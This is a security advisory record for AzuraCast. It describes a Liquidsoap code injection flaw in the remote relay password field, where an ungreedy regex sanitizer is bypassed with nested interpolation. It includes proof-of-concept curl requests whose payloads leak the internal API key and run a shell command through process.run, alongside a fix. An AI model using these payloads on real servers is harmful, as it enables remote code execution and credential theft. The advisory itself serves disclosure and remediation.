{"id":"GHSA-q4ph-8x8g-95f8","summary":"AzuraCast Vulnerable to Liquidsoap Code Injection via Incomplete cleanUpString-to-toRawString Migration in Remote Relay Password Field","details":"## Summary\n\nThe `cleanUpString()` method in `ConfigWriter.php` uses an ungreedy regex to strip Liquidsoap string interpolation patterns (`#{...}`) from user input. This regex can be bypassed via nested interpolation syntax (`#{#{EXPR}}`), allowing injection of arbitrary Liquidsoap code. Commit `ff49ef4` migrated most user-controlled fields to the safe `toRawString()` method but left the remote relay password field using the vulnerable `cleanUpString()`. A user with the `RemoteRelays` station permission can achieve arbitrary code execution in the Liquidsoap process, leak internal API keys, or disrupt station operation.\n\n## Details\n\n### The Vulnerable Sanitizer\n\n`cleanUpString()` at `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php:1349-1367`:\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n    $string = str_replace(['\"', \"\\n\", \"\\r\"], ['\\'', '', ''], $string ?? '');\n\n    // Remove strings that are interpolated\n    $string = preg_replace(\n        '/#{(.*)}/U',   // Ungreedy: matches minimum chars to first }\n        '$1',\n        $string\n    );\n\n    $string = preg_replace(\n        '/\\$\\((.*)\\)/U',\n        '$1',\n        $string ?? ''\n    );\n\n    return $string ?? '';\n}\n```\n\nThe `/U` (ungreedy) flag causes `.*` to match the **minimum** characters until the first `}`. With nested input `#{#{EXPR}}`:\n\n1. Regex finds `#{` at position 0\n2. Ungreedy `.*` matches `#{EXPR` (stops at the **first** `}`)\n3. Full match consumed: `#{#{EXPR}` — replacement with capture group `$1` yields: `#{EXPR`\n4. The trailing `}` is appended by the regex engine (it was outside the match)\n5. **Final result: `#{EXPR}`** — a valid Liquidsoap string interpolation expression\n\n### The Incomplete Patch\n\nCommit `ff49ef4` (\"Use raw strings for user-input strings to avoid interpolation\", 2026-03-06) correctly migrated host, username, mount, name, description, genre, and URL fields to `toRawString()`. However, the password field was left using `cleanUpString()`:\n\n`ConfigWriter.php:1208-1215`:\n```php\n$password = self::cleanUpString($source-\u003epassword);  // Still vulnerable\n\n$adapterType = $source-\u003eadapterType;\nif (FrontendAdapters::Shoutcast === $adapterType) {\n    $password .= ':#' . $id;\n}\n\n$outputParams[] = 'password = \"' . $password . '\"';  // Double-quoted = interpolated\n```\n\nThe password is embedded in a Liquidsoap **double-quoted string**, which evaluates `#{...}` interpolation expressions.\n\n### Why toRawString() Is Safe\n\n`toRawString()` uses Liquidsoap raw string delimiters (`{str_xxxxx|...|str_xxxxx}`) which **do not perform interpolation**, making them immune to this attack class.\n\n### The Input Path\n\n1. Attacker sends `PUT /api/station/{station_id}/remote/{id}` with `source_password` containing the nested payload\n2. Entity setter truncates to 100 chars via `mb_substr` (payloads fit within this limit)\n3. No validation on password content\n4. On station config regeneration, `ConfigWriter::getOutputString()` calls `cleanUpString()` on the password\n5. Bypass produces valid interpolation, embedded in double-quoted Liquidsoap string\n6. Liquidsoap evaluates the interpolation when loading the config\n\n## PoC\n\n### Step 1: API Key Disclosure (38 chars)\n\n```bash\n# Set malicious password on an existing remote relay\ncurl -X PUT \"http://azuracast.local/api/station/1/remote/1\" \\\n  -H \"X-API-Key: $API_KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"source_password\": \"#{#{settings.azuracast.api_key()}}\"}'\n```\n\nAfter `cleanUpString()` processing, the password becomes `#{settings.azuracast.api_key()}`.\n\nWhen Liquidsoap loads the config, the generated line:\n```\npassword = \"#{settings.azuracast.api_key()}\"\n```\nevaluates to the internal API key value, which is then sent as the password to the remote relay server — observable by the attacker if they control the relay endpoint.\n\n### Step 2: Remote Code Execution (54 chars)\n\n```bash\n# RCE payload using string.char() to bypass quote filtering\ncurl -X PUT \"http://azuracast.local/api/station/1/remote/1\" \\\n  -H \"X-API-Key: $API_KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"source_password\": \"#{#{process.run(string.char(105)^string.char(100))}}\"}'\n```\n\nAfter processing: `#{process.run(string.char(105)^string.char(100))}` → executes `id` command.\n\n`string.char()` and the `^` concatenation operator are used to build the command string without double quotes (which `cleanUpString` replaces with single quotes, and Liquidsoap doesn't support single-quoted strings).\n\n### Step 3: Trigger config regeneration\n\nRestart the station or modify any station setting to force Liquidsoap config regeneration. The payload executes when Liquidsoap loads the new config.\n\nThe same bypass works with `$($(EXPR))` via the second regex `/\\$\\((.*)\\)/U`.\n\n## Impact\n\n- **Arbitrary code execution** within the Liquidsoap process container via `process.run()`\n- **Internal API key disclosure** via `settings.azuracast.api_key()`, granting the attacker full internal API access to the station\n- **File read/write** within the Liquidsoap container via Liquidsoap's file operations\n- **Station disruption** — malicious config can crash the Liquidsoap process\n- **Low privilege bar** — requires only the `RemoteRelays` station permission, not global admin\n\n## Recommended Fix\n\nReplace `cleanUpString()` with `toRawString()` for the password field, consistent with the fix applied to all other fields in commit `ff49ef4`. The Shoutcast suffix append needs adjustment to work with raw strings:\n\n```php\n// Before (vulnerable):\n$password = self::cleanUpString($source-\u003epassword);\n$adapterType = $source-\u003eadapterType;\nif (FrontendAdapters::Shoutcast === $adapterType) {\n    $password .= ':#' . $id;\n}\n$outputParams[] = 'password = \"' . $password . '\"';\n\n// After (safe):\n$password = $source-\u003epassword ?? '';\n$adapterType = $source-\u003eadapterType;\nif (FrontendAdapters::Shoutcast === $adapterType) {\n    $password .= ':#' . $id;\n}\n$outputParams[] = 'password = ' . self::toRawString($password);\n```\n\nThis uses the raw string delimiter which prevents all interpolation, matching the approach already used for host, username, mount, and all other user-controlled fields.\n\nAdditionally, consider removing `cleanUpString()` entirely or marking it as deprecated, since `toRawString()` is the correct approach for all Liquidsoap string values. Any remaining callers should be migrated.","aliases":["CVE-2026-100856"],"modified":"2026-09-27T11:56:09.740742185Z","published":"2026-05-04T21:19:55Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-05-04T21:19:55Z","nvd_published_at":null,"cwe_ids":["CWE-94"]},"references":[{"type":"WEB","url":"https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-q4ph-8x8g-95f8"},{"type":"WEB","url":"https://github.com/AzuraCast/AzuraCast/commit/d6b8422fc2c36269df9d1adec89dfbba58828915"},{"type":"PACKAGE","url":"https://github.com/AzuraCast/AzuraCast"}],"affected":[{"package":{"name":"azuracast/azuracast","ecosystem":"Packagist","purl":"pkg:composer/azuracast/azuracast"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.23.6"}]}],"versions":["0.10.0","0.10.1","0.10.2","0.10.3","0.10.4","0.11","0.11.1","0.11.2","0.12","0.12.1","0.12.2","0.12.3","0.12.4","0.13.0","0.14.0","0.14.1","0.15.0","0.15.1","0.15.2","0.16.0","0.16.1","0.17.0","0.17.1","0.17.2","0.17.3","0.17.4","0.17.5","0.17.6","0.17.7","0.18.0","0.18.1","0.18.2","0.18.3","0.18.5","0.19.0","0.19.1","0.19.2","0.19.3","0.19.4","0.19.5","0.19.6","0.19.7","0.20.0","0.20.1","0.20.2","0.20.3","0.20.4","0.21.0","0.22.0","0.22.1","0.23.0","0.23.1","0.23.2","0.23.3","0.23.4","0.23.5","0.3.1","0.3.2","0.3.3","0.5.0","0.6.0","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4","0.9.4.1","0.9.4.2","0.9.5","0.9.5.1","0.9.6","0.9.6.1","0.9.6.2","0.9.6.5","0.9.7","0.9.7.1","0.9.8","0.9.8.1","0.9.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 0.23.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-q4ph-8x8g-95f8/GHSA-q4ph-8x8g-95f8.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}